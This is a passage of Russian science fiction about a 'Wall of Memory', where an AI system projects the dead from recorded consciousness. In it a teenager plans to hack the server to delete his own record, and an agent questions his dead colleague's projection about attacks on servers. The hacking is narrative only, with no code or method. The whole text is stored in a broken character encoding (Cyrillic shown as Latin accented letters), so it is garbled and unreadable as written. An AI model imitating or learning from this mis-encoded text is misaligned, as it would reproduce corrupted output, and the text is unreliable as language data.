Àëåêñåé ïîæàë ïëå÷àìè.
- È ýòî âñå? - ïîäíÿë îí íà íåå ãëàçà.
- À ÷åãî òû îæèäàë?
Îí ñíîâà ïîæàë ïëå÷àìè.
- Êòî ýòî ïðèäóìàë?
- Òû ïðåêðàñíî âñå çíàåøü íå õóæå ìåíÿ, - ïîêà÷àëà ãîëîâîé ìàòü. � Òå-

áÿ ÷òî-òî òàì î÷åíü ñèëüíî âïå÷àòëèëî? Íó, â ïåðâûé ðàç ñ êàæäûì ìîæåò
áûòü�

- Ñêîëüêî ðàç òû òàì óæå áûëà, ìà?
- Òðè, Àëåêñåé, - îíà ïîäîøëà ïîáëèæå, îïóñòèëàñü íà êðîâàòü. � ß ÷åãî-

òî íå ïîíèìàþ�
- Ìàì, à åñòü ëþäè, êîòîðûå íå äåëàþò ýòîãî?
- Êîíå÷íî. Åñëè åñòü ïðàâèëà, åñòü è èñêëþ÷åíèÿ. Íî, ìíå êàæåòñÿ, òå,

êòî íå ïóñêàåò â ñâîè ìîçãè ýòó øòóêó íà óõå, î÷åíü è î÷åíü îøèáàþòñÿ. Âñå-
òàêè îñòàâèòü ñëåä â æèçíè ìîæíî è ïîäîáíûì îáðàçîì�

Àëåêñåé êèâíóë, âñòàë, ïîäîøåë ê êîìïüþòåðó. Ãäå-òî â íåäðàõ ãèãàí-
òñêîãî õðàíèëèùà ëåæèò ñåé÷àñ åãî æèçíü, åãî øåñòíàäöàòü ëåò�

Ýòî íà÷àëîñü ÷åòûðå ãîäà íàçàä, êîãäà áûë ñîçäàí ïåðâûé â ìèðå âèðòó-
àëüíûé êðåìàòîðèé. Âèðòóàëüíûé � íå â ñìûñëå ñèìóëÿòîð: òðóáû òàì äû-
ìèëè ïî-íàñòîÿùåìó, ïå÷è ïåðåðàáàòûâàëè òåëà ëþäåé â ïåïåë, íà âûõîäå
âûäàâàëèñü óðíû ñ ïðàõîì óñîïøèõ. Íî âîò òîëüêî âñå îíè, èëè ïî÷òè âñå,
åñëè óæ áûòü òî÷íûì, ñ íåêîòîðîãî ìîìåíòà îñòàâàëèñü äîñòóïíûìè äëÿ îá-
ùåíèÿ. Ñëîæíî ñêàçàòü, êàê äîëãî îáñóæäàëñÿ ìîðàëüíûé àñïåêò ïðîáëåìû -
êàêîâî âèäåòü ñâîèõ ïîêîéíûõ ðîäñòâåííèêîâ, ðàçãîâàðèâàòü ñ íèìè, áóäòî ñ
æèâûìè�
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Ëþäè ïðèõîäèëè ê Ñòåíå Ïàìÿòè,
ãäå â âûñîêóþ äëèííóþ ãðàíèòíóþ

ìîãèëó áûëè âñòàâëåíû òûñÿ÷è
óðí ñ ôîòîãðàôèÿìè è íàäïèñÿìè.

»



Èçîáðåòàòåëè âñåãî ýòîãî, ãðóïïà ðîññèéñêèõ ó÷åíûõ, ðàáîòàâøèõ íàä
òàéíàìè ìîçãà, ïîëó÷èëè ÷óòü ëè íå âñåì êîëëåêòèâîì Íîáåëåâñêóþ ïðåìèþ
è ñòàëè ïåðâûìè, ÷üè ìàòðèöû ñîçíàíèÿ áûëè ñíÿòû äëÿ ïðîáíûõ èññëåäîâà-
íèé. Ñóòü èçîáðåòåíèÿ çàêëþ÷àëàñü â ñëåäóþùåì.

Ó ÷åëîâåêà ïðè æèçíè ñíèìàëèñü «ñëåïêè ñîçíàíèÿ», õðàíÿùèå â ñåáå âñå
ñîáûòèÿ, ñëó÷èâøèåñÿ çà îïðåäåëåííûé ïåðèîä âðåìåíè � ãîä îíè ïîñ÷èòà-
ëè äîñòàòî÷íûì ïåðèîäîì äëÿ îáíîâëåíèÿ áàçû äàííûõ. Ïåðâûé ñåàíñ ó÷å-
íûå ðåêîìåíäîâàëè ïðîèçâîäèòü â ÷åòûðíàäöàòü ëåò, íî çàêîíîäàòåëüíûå
îðãàíû ïî êàêèì-òî ïðè÷èíàì âñòóïèëè ñ íèìè â ïðåðåêàíèÿ, è îí áûë ïåðå-
íåñåí íà øåñòíàäöàòü ëåò.

Èç ýòèõ «ñëåïêîâ» ôîðìèðîâàëàñü ìàòðèöà. Îáðàç ÷åëîâåêà, äîñòóïíûé
äëÿ îáùåíèÿ. Êàìåðà ïðîåöèðîâàëà ëèöî, ñ òî÷íîñòüþ èìèòèðîâàëñÿ ãîëîñ,
ìàíåðà ðàçãîâîðà. Ñ ýòèì îáðàçîì ìîæíî áûëî ãîâîðèòü î ÷åì óãîäíî. Ìîæ-
íî áûëî ïðîñòî ïîñìîòðåòü íà òîãî, êòî áûë òåáå äîðîã, ðàññêàçàòü åìó î ñå-
áå, î òîì, ÷òî òâîðèòñÿ â ìèðå, ñïðîñèòü î ÷åì-íèáóäü, ïîëó÷èòü ñîâåò, ïîäñ-
êàçêó, óòåøåíèå�

Ïîõîæå íà ñêàçêó. Íî ñêàçêà ðàáîòàëà. Âòîðûì çâåíîì â ýòîé ñèñòåìå
áûëà êîìïüþòåðíàÿ ïîääåðæêà. Âñåì ýòèì ãîëîãðàôè÷åñêèì ÷óäîì óïðàâëÿ-
ëà ñàìàÿ ìîùíàÿ â ìèðå ñèñòåìà óïðàâëåíèÿ èñêóññòâåííûì ðàçóìîì. Ñîòíè
ïðîãðàììèñòîâ ñîçäàâàëè åå, äåñÿòêè ëþäåé îáñëóæèâàëè ñåðâåð êðåìàòî-
ðèÿ è Ñòåíû Ïàìÿòè. Ñàìàÿ áîëüøàÿ â ìèðå áàçà äàííûõ, ñîäåðæàùàÿ â íàñ-
òîÿùèé ìîìåíò íåñêîëüêî äåñÿòêîâ ìèëëèîíîâ çàïèñåé ëþäåé ðàçíûõ âîç-
ðàñòîâ, ïðîôåññèé, âåðîèñïîâåäàíèé, óâëå÷åíèé. Äåñÿòêè ìèëëèîíîâ�

Ëþäè ïðèõîäèëè ê Ñòåíå Ïàìÿòè, òóäà, ãäå â âûñîêóþ äëèííóþ ãðàíèò-
íóþ ìîãèëó áûëè âñòàâëåíû ñîòíè, òûñÿ÷è óðí ñ ôîòîãðàôèÿìè è íàäïèñÿìè.
Îíè íàäåâàëè ñïåöèàëüíûå î÷êè, íàñòðîåííûå òîëüêî íà èõ êàíàë � ïîäñëó-
øàòü è ïîäñìîòðåòü ýòîò äèàëîã ñ ìåðòâûìè íå ìîã íèêòî. Åäâà î÷êè êàñà-
ëèñü ïåðåíîñèöû, êàìåðà âêëþ÷àëàñü è â âîçäóõå ïîÿâëÿëîñü òðåõìåðíîå,
íèêàê íå îòëè÷èìîå îò íàñòîÿùåãî, èçîáðàæåíèå ãîëîâû. È ðàçãîâîð íà÷è-
íàëñÿ�

Ëþäåé, êîòîðûå øëè íà òàêèå ñâèäàíèÿ âïåðâûå, êîíñóëüòèðîâàëè ïñèõî-
ëîãè. Íå âñå áûëè â ñîñòîÿíèè âûíåñòè ïîäîáíûå ïîòðÿñåíèÿ, íå ó âñåõ õâà-
òàëî âûäåðæêè è íåðâîâ íà òî, ÷òîáû áåñåäîâàòü ñ òåìè, êîãî ñîáñòâåííûìè
ðóêàìè êëàëè â ãðîá èëè ïðîâîæàëè â êðåìàòîðèè â æåðëî ïå÷è.

Ïîñòåïåííî ýòî ñòàëî íåîòúåìëåìîé ÷àñòüþ æèçíè. Ïîêà Ñòåíà Ïàìÿòè
áûëà äîñòóïíà òîëüêî æèòåëÿì ñòîëèöû, íî â ñêîðîì âðåìåíè èõ ìîãëî ñòàòü
áîëüøå, ãîðàçäî áîëüøå.

Êàæäûé äåíü â áàçó äàííûõ äîáàâëÿëèñü óìåðøèå â ýòîò äåíü ëþäè; êàæ-
äûé äåíü òå, ÷üè äàííûå õðàíèëèñü íà äèñêàõ ñåðâåðà ïîñìåðòíî, îáíîâëÿëè
ñâîè ñåêòîðû ïàìÿòè çà ñ÷åò ñïåöèàëüíîé ïðîãðàììû, âíîñèâøåé êîððåêòè-
âû èñõîäÿ èç íîâîñòåé, ñëó÷èâøèõñÿ â ìèðå. Ïðèäÿ ê ñâîèì ðîäíûì, ìîæíî
áûëî íå óäèâëÿòüñÿ òîìó, ÷òî îíè â êóðñå äåë, òâîðÿùèõñÿ âîêðóã. Ëþäè, ÷üÿ
æèçíü ïðåðâàëàñü îäèí-äâà ãîäà íàçàä, ñîâåðøåííî ñïîêîéíî ïîääåðæèâàëè
ðàçãîâîð î òîì, ÷òî ñëó÷èëîñü â÷åðà èëè ïîçàâ÷åðà.

Ïðàâäà, ïðèïèñàòü ê ìàòðèöå äàííûå áûëî ìîæíî, èçìåíèòü ñóùåñòâóþ-
ùèå � íåëüçÿ. Íåëüçÿ áûëî èñïðàâèòü ïðîøëîå, íåëüçÿ áûëî èçìåíèòü íè÷å-
ãî. Ïðîæèòàÿ æèçíü ñâåòèëàñü â ãëàçàõ âèðòóàëüíûõ ìåðòâåöîâ òàêàÿ, êàêàÿ
îíà áûëà.

Áûëî è åùå îäíî «íî», èçâåñòíîå òîëüêî î÷åíü óçêîìó êðóãó ëþäåé, çàíÿ-
òûõ óïðàâëåíèåì èñêóññòâåííûì èíòåëëåêòîì Ñòåíû Ïàìÿòè � ëþáàÿ äåñò-
ðóêòèâíàÿ èíôîðìàöèÿ, çàïèñàííàÿ â ñëåïîê ñîçíàíèÿ, íåìåäëåííî îòòóäà
èçâëåêàëàñü è èñïîëüçîâàëàñü îïðåäåëåííûì îáðàçîì. Èìåííî ïîýòîìó
ïðàêòè÷åñêè âåñü êðèìèíàëüíûé ìèð èçáåãàë ïðîöåäóðû ñíÿòèÿ «ñëåïêà ñîç-
íàíèÿ» (áëàãî, ñàìà ïðîöåäóðà áûëà äàëåêî íå ïðèíóäèòåëüíàÿ) ïîñëå ðÿäà
ñîâåðøåííî íåîáúÿñíèìûõ àðåñòîâ, èìåâøèõ ìåñòî ïðàêòè÷åñêè íà ñëåäóþ-
ùèé äåíü ïîñëå çàïèñè, êîãäà ìàòðèöû íåêîòîðûõ ëþäåé áûëè ïðîñìîòðåíû
ñïåöèàëèñòàìè. Ôàêò áûë íè÷åì íå ïîäòâåðæäåí, íî íàòàëêèâàë íà îïðåäå-
ëåííîãî ðîäà ðàçìûøëåíèÿ.

Ïîäîáíûì îáðàçîì áûë âû÷èùåí îò êîìïüþòåðíûõ çíàíèé ìîçã Äàíèëû
Ñòðîãèíà � èìåííî ïîýòîìó ðàçãîâîð ñ íèì íàïîìèíàë Áðàãèíó îáùåíèå ñ
óìàëèøåííûì, ïîñêîëüêó âñå åãî âîïðîñû, êàñàþùèåñÿ ðàáîòû íà Ñëóæáó
áåçîïàñíîñòè, îñòàâàëèñü áåç îòâåòà. Óçíàòü ó Äàíèëû ÷òî-ëèáî áûëî íåâîç-
ìîæíî. Íî Áðàãèí íå èìåë îá ýòîì ïîíÿòèÿ.

È òîëüêî ïîýòîìó îí ñîáðàëñÿ èäòè ê Ñòåíå Ïàìÿòè â ïÿòûé ðàç. Íà ñëå-
äóþùèé äåíü ïîñëå òîãî, êàê ó Àëåêñåÿ Âåðáèöêîãî ñíÿëè ïåðâûé «ñëåïîê
ñîçíàíèÿ».

* * * * *
Àëåêñåé ñòîÿë íà áàëêîíå, îïåðøèñü íà ïåðèëà, è ðàçãëÿäûâàÿ ëþäåé,

èäóùèõ ïî ñâîèì äåëàì. Â ãîëîâå ðîèëàñü êó÷à ìûñëåé, è ïðàêòè÷åñêè âñå
îíè áûëè íàïðàâëåíû íà ýòó ïðîöåäóðó, ñëó÷èâøóþñÿ ñ íèì â÷åðà óòðîì; îí
ïûòàëñÿ ïðåäñòàâèòü ñåáå, êàê ãäå-òî â íåäðàõ ñåðâåðà ëåæèò îäíèì áîëü-
øèì ôàéëîì åãî æèçíü, îæèäàÿ åãî ñìåðòè.

- Òî åñòü, åñëè ÿ âäðóã çàâòðà óìðó, òî íàâåêè îñòàíóñü øåñòíàäöàòèëåò-
íèì, ìîÿ ìàìà áóäåò ïðèõîäèòü ê Ñòåíå Ïàìÿòè è ðàçãîâàðèâàòü ñî ìíîé òà-
êèì, êàêîâ ÿ ñåé÷àñ? � çàäàë îí ñàì ñåáå âîïðîñ, ðàñïðÿìèâøèñü è âçãëÿíóâ
â íåáî, çàòÿíóòîå ñî â÷åðàøíåãî äíÿ òó÷àìè. � È îíà óçíàåò� ÷åðò âîçüìè,
îíà ïðî âñå óçíàåò!

Îí ðâàíóëñÿ â êîìíàòó, çàõëîïíóâ çà ñîáîé áàëêîííóþ äâåðü.
- Êàêîé óæàñ! � îáõâàòèë îí ãîëîâó ðóêàìè. � Êîíå÷íî, ìíå óæå áóäåò

âñå ðàâíî, íî ìàìà�
È ïåðåä åãî ãëàçàìè âñòàëè âñå åãî ìàëü÷èøåñêèå ïîäâèãè, êîòîðûå â÷å-

ðà ëåãëè òîíêèìè äîðîæêàìè íà äèñê � ñèãàðåòû, ïèâî, äåâ÷îíêè, êàðäåð-
ñòâî, îäèí ðàç ïîïðîáîâàë ìàðèõóàíó (ìàìå õâàòèò è îäíîãî ðàçà - åùå âîçü-
ìåò è ñïðîñèò), îòðàâèë ñîñåäñêóþ ñîáàêó, ïðàâäà, çà äåëî: ïñèíà ïîêóñàëà
ìàëåíüêîãî ïàöàíà íà ïëîùàäêå, à õîçÿèí ñëèøêîì ìíîãî âûñòóïàë â çàùèòó
ýòîãî çóáàñòîãî óðîäà�

Íà ëáó âûñòóïèë õîëîäíûé ïîò, ðóêà ñàìà âêëþ÷èëà êîìïüþòåð. Ñ ïîëêè
áûëè èçâëå÷åíû íåñêîëüêî óìíûõ êíèæåê ïî óäàëåííîìó äîñòóïó, ïîäøèâêà
ñòàðûõ «Õàêåðîâ». Ñàìûìè ñèëüíûìè ñòèìóëàìè äëÿ Âåðáèöêîãî îêàçàëèñü
ñòûä è ñòðàõ.

Îí áûñòðî ïðîñìîòðåë â èíòåðíåòå âñå, ÷òî òîëüêî ìîã íàéòè î Ñòåíå Ïà-
ìÿòè � äîñòóïíîé èíôîðìàöèè áûëî äîâîëüíî ìíîãî, íî ïðàêòè÷åñêè âñÿ îíà
êàñàëàñü ëèøü ìîðàëüíîé ñòîðîíû äåëà, íåñêîëüêî äîêóìåíòîâ áûëî ïîñâÿ-
ùåíî ãðóïïå èçîáðåòàòåëåé, ïàðà ñòðàíèö ïîâåäàëà î íåñêîëüêèõ çàïå÷àò-
ëåííûõ â Ñòåíå ëè÷íîñòÿõ âûäàþùèõñÿ ëþäåé, óøåäøèõ èç æèçíè çà ïîñëåä-
íèå òðè ãîäà.

Àëåêñåé ÷åðòûõíóëñÿ â î÷åðåäíîé ðàç, çàêðûë âñå ýòî áàðàõëî è çàäóìàë-
ñÿ. ×åãî îí õîòåë íà ñàìîì äåëå? Ïðîáèòüñÿ íà ñåðâåð Ñòåíû, íàéòè ñâîé
ôàéë è óíè÷òîæèòü åãî? Ïðîñòî èñïóãàâøèñü, ÷òî ÷åðåç ìíîãî ëåò åãî äåòè,
ðåøèâ ðàçóçíàòü, ÷åì çàíèìàëñÿ â äåòñòâå èõ ïàïàøà, óçíàþò, ÷òî îí íå
î÷åíü õîðîøî ó÷èëñÿ, áèë ñòåêëà â øêîëå, ñòàâèë ïîäíîæêè äåâ÷îíêàì è èñï-
ðàâëÿë îöåíêè â êëàññíîì æóðíàëå, ïîëó÷èâ ê íåìó äîñòóï ñî øêîëüíîãî
êîìïüþòåðà? À ÷òî áóäåò ÷åðåç ãîä? Îí ïðèäåò íà ïðîöåäóðó îáíîâëåíèÿ, à
÷òî îáíîâëÿòü-òî? Ïðàâäà, ìîæíî óñòðîèòü ñêàíäàë, ïîïûòàòüñÿ âûÿñíèòü, êó-
äà æå îíè ïîõîðîíèëè åãî øåñòíàäöàòü ëåò æèçíè, êàêîãî ÷åðòà, ÷òî çäåñü çà
îðãàíèçàöèÿ, Ìàøè-ðàñòåðÿøè êàêèå-òî!

- Íî òîãäà îíè ïðîñòî ïîâòîðÿò ïåðâè÷íîå ñíÿòèå «ñëåïêà», - ñàì ñåáå
îòâåòèë Àëåêñåé. � Óæå ñ êàêèìè-íèáóäü íîâûìè ïðèêîëàìè, òàê êàê çà ãîä ñ
ìîèì õàðàêòåðîì è æåëàíèåì èñêàòü ïðèêëþ÷åíèÿ íà ñâîþ ãîëîâó èõ íàáå-
ðåòñÿ ïðåäîñòàòî÷íî, â òîì ÷èñëå è ýòî� Äà, åëêè-ïàëêè, âåäü èíôîðìàöèÿ î
òîì, êàê ÿ ãðîõíóë ñâîþ ìàòðèöó, òîæå áóäåò íà äèñêå, êîòîðûé çàïèøóò ÷å-
ðåç ãîä! Êàêîé-òî çàêîëäîâàííûé êðóã�

- ×åãî ñèäåòü? Äåëàòü íàäî, - ñêàçàë îí ñàì ñåáå, ïîäîäâèíóë ëèñòîê áó-
ìàãè è ïðèíÿëñÿ íàáðàñûâàòü ïëàí.

Ïîíà÷àëó âñå âðîäå áûëî êàê îáû÷íî. Ïîëó÷èòü ïðàâà ñ ñàìûì âûñîêèì
óðîâíåì ïðèâèëåãèé ó íåãî íå ïîëó÷èëîñü, äà íà ýòî îí íå ðàññ÷èòûâàë ñ ñà-
ìîãî íà÷àëà. Â ñâîèõ ðàçäóìüÿõ îí ïðèøåë ê âûâîäó, ÷òî âñå, ÷òî åìó íóæíî,
� ýòî ïîïûòàòüñÿ îïðåäåëèòü, ïî êàêîìó ïðèíöèïó ôàéëàì-ìàòðèöàì ïðèñ-
âàèâàþòñÿ èìåíà, âû÷èñëèòü åñëè íå ñ òî÷íîñòüþ äî åäèíèöû, òî õîòÿ áû
ïðèìåðíî êàòàëîã, â êîòîðîì ìîæåò áûòü åãî ëè÷íûé «ñëåïîê», è çàñòàâèòü
ïðîãðàììó îøèáèòüñÿ ïðè ÷òåíèè ýòîãî êàòàëîãà, ïåðåïèñàâ åãî è çàâàëèâ
ýòî ìåñòî íà âèí÷åñòåðå èíôîðìàöèîííûì ìóñîðîì.

Îí, êîíå÷íî, ïîíèìàë, ÷òî ïðè ýòîì ìîæåò ïîñòðàäàòü è êó÷à äðóãèõ ôàé-
ëîâ, íî ñàìûé îáûêíîâåííûé, ïî÷òè äåòñêèé, ñòðàõ çà òî, ÷òî âñå åãî øàëîñ-
òè è ïðîñòóïêè ñåé÷àñ â öèôðîâîì âèäå äîñòóïíû ñîâåðøåííî íåèçâåñòíîìó
êðóãó ëþäåé, ïîäñòåãèâàë åãî ëó÷øå âñÿêîãî êíóòà.

Îí âîøåë â ñèñòåìó, ñîáëþäàÿ âñå ìåðû ïðåäîñòîðîæíîñòè � öåïî÷êà
àíîíèìíûõ ïðîêñè-ñåðâåðîâ ñóùåñòâåííî çàìåäëÿëà ðàáîòó, íî äåëàëà åå íà
äåâÿíîñòî äåâÿòü ïðîöåíòîâ íåîòñëåæèâàåìîé. Ñòðóêòóðà áàçû äàííûõ áûëà
áîëåå ÷åì íåïîíÿòíîé; ïîòûêàâøèñü, êàê ñëåïîé êîòåíîê, â ðàçíûå êàòàëîãè,
îí ïðèçàäóìàëñÿ.

- Íàâîðîòèëè, áëèí, ýòè ìîíñòðû, - ïðîòÿíóë îí, çàêèíóâ ðóêè çà ãîëîâó è
îòêèíóâøèñü íà ñïèíêó êðåñëà. � ×åãî æå äåëàòü?

Ïîïûòàâøèñü íàéòè äîêóìåíòû, ñîçäàííûå â÷åðà ïðèìåðíî â îäèííàä-
öàòü ÷àñîâ óòðà, êîãäà îí ñàì áûë òàì, íà ïðèåìå, Âåðáèöêèé íàòêíóëñÿ â
èòîãå íà ñïèñîê èç ïðèìåðíî øåñòè òûñÿ÷ äîêóìåíòîâ ñàìûõ ðàçíûõ ðàçìå-
ðîâ è ðàñøèðåíèé. Ðàáîòà ïî ðàñïàêîâêå èõ ñîäåðæèìîãî îêàçàëàñü ïðîñòî
íåâûïîëíèìîé. Ìíîãèå èç ôàéëîâ áûëè çàïàðîëåíû è íàâåðíÿêà ñèãíàëèçè-
ðîâàëè ñèñòåìíîìó àäìèíèñòðàòîðó î ïîïûòêå èõ îòêðûòèÿ � Âåðáèöêèé ðà-
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Àëåêñåé ÷åðòûõíóëñÿ â
î÷åðåäíîé ðàç, çàêðûë âñå ýòî

áàðàõëî è çàäóìàëñÿ.



çî÷àðîâàííî ñìîòðåë íà âñå ýòè ôàéëîâûå çàëåæè, äàæå íå ïûòàÿñü ïðèêîñ-
íóòüñÿ êóðñîðîì íè ê îäíîìó èç íèõ.

Â ýòîò ñàìûé ìîìåíò Áðàãèí âûøåë èç äîìà è íàïðàâèëñÿ ê Ñòåíå Ïàìÿ-
òè. Íà äîðîãó åìó áûëî íåîáõîäèìî îêîëî ïÿòèäåñÿòè ìèíóò. Îí ýòî çíàë è
ñîçíàòåëüíî íå ñïåøèë íà àâòîáóñ, ñòàðàÿñü ðàñòÿíóòü ñîìíèòåëüíîå óäî-
âîëüñòâèå áîëåå ÷åì íà ÷àñ.

* * * * *
Ïàðê áûë ïóñòûíåí â ýòîò ÷àñ. Îñíîâíàÿ ìàññà ëþäåé ïðèáûâàëà ê êðå-

ìàòîðèþ ïîñëå îáåäà; Áðàãèí øåë åäâà ëè íå â ïîëíîì îäèíî÷åñòâå, íå
ñìîòðÿ ïî ñòîðîíàì è ðàçãëÿäûâàÿ ëèøü ëèñòâó, ñòåëÿùóþñÿ åìó ïîä íîãè. Â
ïîëóêèëîìåòðå îò íåãî, çà íåáîëüøîé ñîñíîâîé ðîùèöåé, âûðèñîâûâàëñÿ
êîíòóð êðåìàòîðèÿ � áîëüøàÿ, âûòÿíóòàÿ ïî äèàãîíàëè, ïðîòèâ âñåõ çàêîíîâ
ôèçèêè, ñòåëà èç ÷åðíîãî ñ êðàñíûìè ïðîæèëêàìè ãðàíèòà. Äâà âõîäà, íåñ-
êîëüêî àâòîáóñîâ, ïàðà àâòîìîáèëåé. Íåïîäàëåêó îò îáîèõ âõîäîâ � íåáîëü-
øèå ãðóïïû ëþäåé, ïåðåìèíàþùèõñÿ ñ íîãè íà íîãó; êàæäûé âòîðîé íåðâíî
êóðèò, æåíùèíû çàêóòàíû â ÷åðíûå ïëàòêè, íà çåìëå, ïðèñëîíåííûå ê êîëå-
ñàì àâòîáóñîâ, ñòîÿò âåíêè.

Î÷åðåäíûå òðàóðíûå öåðåìîíèè æäóò ñâîåé î÷åðåäè.
Áðàãèí íå ñòàë ïðèáëèæàòüñÿ, ñâåðíóë íàïðàâî, òóäà, ãäå íå óñïåâøåå

åùå ïîäíÿòüñÿ âûñîêî íàä ãîðèçîíòîì ñîëíöå îòáðàñûâàëî äëèííûå òåíè îò
âûñîêîé è òîíêîé, íå áîëåå ìåòðà â òîëùèíó, Ñòåíû Ïàìÿòè. Îêîëî òðåõñîò-
÷åòûðåõñîò ìåòðîâ áûëè âèäíû îòñþäà Áðàãèíó; âñå îñòàëüíîå, ïðèìåðíî
åùå ñòîëüêî æå, ñêðûâàëè ñîñíû.

Ïî óæå äàâíî èçâåñòíîìó ïóòè Áðàãèí, ñðåçàâ íåñêîëüêî ïîâîðîòîâ, ïðè-
ãèáàÿñü ïîä âåòêàìè ñîñåí, ïðèáëèçèëñÿ ê Ñòåíå â òîì ìåñòå, ãäå íà ïåðâîì
ÿðóñå, íà óðîâíå ÷åëîâå÷åñêèõ ãîëîâ, áûëà çàõîðîíåíà óðíà ñ ïðàõîì Äàíè-
ëû. Ãàçîí, òùàòåëüíî óáðàííûé è ïîñòðèæåííûé, íàïîìèíàë èñêóññòâåííûé;
Áðàãèí îñòîðîæíî ïðèáëèçèëñÿ â çîíó äîñÿãàåìîñòè äàò÷èêîâ, ñóíóë ðóêó â
êàðìàí è äîñòàë î÷êè.

Ðÿäîì ñ íèì, ìåòðàõ â äâàäöàòè, ñòîÿëà ïîæèëàÿ æåíùèíà, ãëÿäÿùàÿ
ïðÿìî ïåðåä ñîáîé íà ñòåíó è øåâåëÿùàÿ ãóáàìè. Íà íåé áûëè òî÷íî òàêèå
æå î÷êè; îíà âåëà îäíîé åé âèäèìûé äèàëîã ñ êåì-òî, êòî áûë åé äîðîã ïðè
æèçíè. Ïîéìàâ ñåáÿ íà òîì, ÷òî îí íåâîëüíî ïîäãëÿäûâàåò è ïûòàåòñÿ ïî ãó-
áàì ïðî÷èòàòü, ÷òî æå æåíùèíà ãîâîðèò, Áðàãèí çàñòàâèë ñåáÿ íàäåòü î÷êè è
ïîâåðíóòüñÿ ëèöîì ê ôîòîãðàôèè Äàíèëû.

Ìàëåíüêèé íàóøíèê, ïîâèñøèé íàä óøíîé ðàêîâèíîé, òèõîíüêî ïèñêíóë.
Ñòàëî íàìíîãî òåìíåå; î÷êè íå ïðîñòî èçìåíÿëè îñâåùåííîñòü - îíè îáëàäà-
ëè êàêîé-òî ñïîñîáíîñòüþ ïðàêòè÷åñêè ïîëíîñòüþ óáèâàòü ñîëíå÷íûé ñâåò.
Íà ïàðó ñåêóíä Áðàãèí äàæå ïîòåðÿë èç âèäó ôîòîãðàôèþ Ñòðîãèíà è ïëîõî
ñåáå ïðåäñòàâëÿë, êóäà æå ñìîòðåòü, íî âíåçàïíî ïðÿìî ïåðåä íèì èç âîçäó-
õà ñòàëà ïðîðèñîâûâàòüñÿ ãîëîâà � ÿðêèå èñêðÿùèåñÿ ëó÷èêè, âûðûâàþùèå-
ñÿ èç êàìåðû â ñòåíå, ðèñîâàëè òðåõìåðíîå èçîáðàæåíèå Äàíèëû.

- Õàé, áëåäíîëèöûé, - ñêàçàëè ãóáû, íàðèñîâàííûå â âîçäóõå. � ×òî-òî òû
÷àñòî�

- Ïðèâåò, - îòâåòèë Áðàãèí. � Òû æå çíàåøü, âñå äåëà, äåëà�
Ãîëîâà òèõî êèâíóëà, â óãîëêàõ ðòà ïðèòàèëàñü ãðóñòíàÿ óëûáêà. Áðàãèíà

íåìíîãî çàòðÿñëî � ïîáî÷íûé ýôôåêò, ñ êîòîðûì îí íèêàê íå ìîã ñïðàâèòü-
ñÿ. Àäðåíàëèí, áóäü îí íåëàäåí � íåâîçìîæíî â ñåáå ïîáîðîòü ïåðâîáûòíûé
ñòðàõ îáùåíèÿ ñ ìåðòâåöàìè.

- Òû â÷åðà ñïðàøèâàë�- íà÷àë áûëî Äàíèëà, íî Áðàãèí åãî îñòàíîâèë.
- Ïîíèìàåøü, ìíå î÷åíü íóæåí îòâåò. Î÷åíü. Ìíå è íàøèì ðåáÿòàì.

Ãðóïïà ïðîñòî çàøèâàåòñÿ�
Îí íå ìîã îòîðâàòü ãëàç îòî ëáà Äàíèëû, îò òîãî ìåñòà, ãäå óâèäåë ïîë-

ãîäà íàçàä ðàíó îò ïóëè ñíàéïåðà. Èìåííî Áðàãèí íàøåë Äàíèëó óæå ìåðòâî-
ãî, óíåñøåãî â ìîãèëó âñå ñâîè òàéíû; èìåííî ïîýòîìó îí áîëüøå âñåãî áî-
ÿëñÿ õîäèòü ê Ñòåíå, ïîìíÿ ëóæó êðîâè âîêðóã åãî ãîëîâû.

- Îòâåò? � Äàíèëà èçóìëåííî ïîäíÿë áðîâè. � Ïðîñòè, íî ÿ òàê è íå ïî-
íÿë, î ÷åì òû ãîâîðèøü�

- Âñïîìèíàé, Äàíèëà, âñïîìèíàé� ×åòûðå ñåðâåðà äàâíî óæå ïîëîæåíû
íà îáå ëîïàòêè, åùå äâà äîæèäàþòñÿ íàøèõ äåéñòâèé. Èõ ìû ãàðàíòèðîâàííî
ãðîõíåì, îñòàåòñÿ òîò, íàä êîòîðûì ðàáîòàë òû, òîò, â Ìåêñèêå� ×åðò, âñÿ
èíôîðìàöèÿ îñòàëàñü â òâîåé ãîëîâå, Äàíèëà! È ýòè ïðîêëÿòûå äåíüãè ðàáî-
òàþò, ãèáíóò ëþäè! Âñïîìèíàé, ÷åðò òåáÿ ïîáåðè!

Ñòðîãèí íàõìóðèëñÿ. Òîí Áðàãèíà ñáèâàë ñ ìûñëè èñêóññòâåííûé èíòåë-
ëåêò ïðîãðàììû, êîòîðàÿ â î÷åðåäíîé ðàç ïðîõîäèëà ñâîèìè ñêàíåðàìè ïî
íåäðàì Äàíèëîâîé ïàìÿòè è íå íàõîäèëà íè÷åãî, ñâÿçàííîãî ñ êàêèìè-òî
ñåðâåðàìè, Ìåêñèêîé è ãèáåëüþ ëþäåé�

* * * * *
- Ñìîòðè, ñìîòðè, - ÷åëîâåê îòîðâàëñÿ îò ÷àøêè êîôå è êèâíóë íàïàðíèêó

íà ìîíèòîð. � Ñèñòåìà ñèãíàëèçèðóåò�
- Âèæó, - õîëîäíî îòçûâàëñÿ òîò. � Îòñëåæèâàþ.

Êëàâèøè îí íàæèìàë, íå îòðûâàÿ ãëàç îò ýêðàíà, íà êîòîðîì âûñòðàèâà-
ëàñü êàêàÿ-òî íåïîíÿòíàÿ ïîñòîðîííåìó ÷åëîâåêó ðàçíîöâåòíàÿ ñõåìà. Âðå-
ìåíàìè îí ïðèùóðèâàë ãëàçà, âûõâàòûâàÿ îäíîìó åìó ïîíÿòíûå è íóæíûå
êóñêè èíôîðìàöèè; â òàêèå âðåìåíà íàæàòèÿ íà êëàâèøè ñòàíîâèëèñü ðåæå,
íî íåíàìíîãî. Îòìàõíóâøèñü îò íàçîéëèâîãî îñåííåãî êîìàðà, íåâåñòü êàê
ïðîíèêíóâøåãî â ýòî çàêðûòîå êðóãëûå ñóòêè ïîìåùåíèå, îí â ïîñëåäíèé ðàç
êëàöíóë íà «ENTER» è óêàçàë íà ìîíèòîð.

- Âîò. Ýòî îí.
- Ïûòàåòñÿ âûâåäàòü ó Ñòåíû äåñòðóêòèâíóþ èíôîðìàöèþ?
- Òî÷íî. Íàäî çàôèêñèðîâàòü ðàçãîâîð è ñîîáùèòü êóäà ñëåäóåò. ×åì

ðàíüøå, òåì ëó÷øå.
- Ïîãîäè, - îñòàíîâèë åãî ñòàðøèé ñìåíû, îòâëåêøèéñÿ îò ñâîåãî ìîíè-

